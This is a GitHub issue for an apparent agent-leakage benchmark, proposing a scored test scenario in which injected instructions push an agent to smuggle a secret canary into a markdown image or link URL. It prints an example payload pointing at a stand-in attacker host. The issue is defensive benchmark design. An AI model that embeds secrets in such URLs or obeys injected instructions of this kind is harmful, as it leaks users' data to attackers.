Skip to content

Add a markdown/URL image-exfil leakage scenario #32

Description

@bamdadd

Context

The three shipped families (delayed, assembly, encoded) plus the open toolrag work (#10) cover email/calendar and tool-result channels, but not exfil hidden inside a rendered URL. A published indirect-injection pattern is smuggling a secret into a markdown image or link (![x](https://attacker.test/?c=<canary>)) or a data: URI so it egresses when a client fetches the URL. This is a new scored scenario over a published pattern, not a new attack potency.

Acceptance criteria

  • Add a synthetic markdown-url-exfil scenario (leak variant + optional gap variant) where the benign task legitimately produces a message/note and the attacker instruction asks the agent to embed the canary in an image/link URL aimed at an attacker host.
  • Canary is planted via the existing {canary} / {attacker} builder substitution; only synthetic placeholders (LKG-…, SECRET-000, .test/.example hosts). No real hosts or data.
  • The exfil_spec names the URL-bearing egress (e.g. http_post / a url destination key) so the existing deterministic scorer verifies leakage — no changes to the LLM-free verification path.
  • Case builds under uv run leakgauge --model stub:demo --suite all and has a test asserting the planted URL form is scored as a leak by the real scorer.
  • Published-pattern citation added alongside the others in cases.py.

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions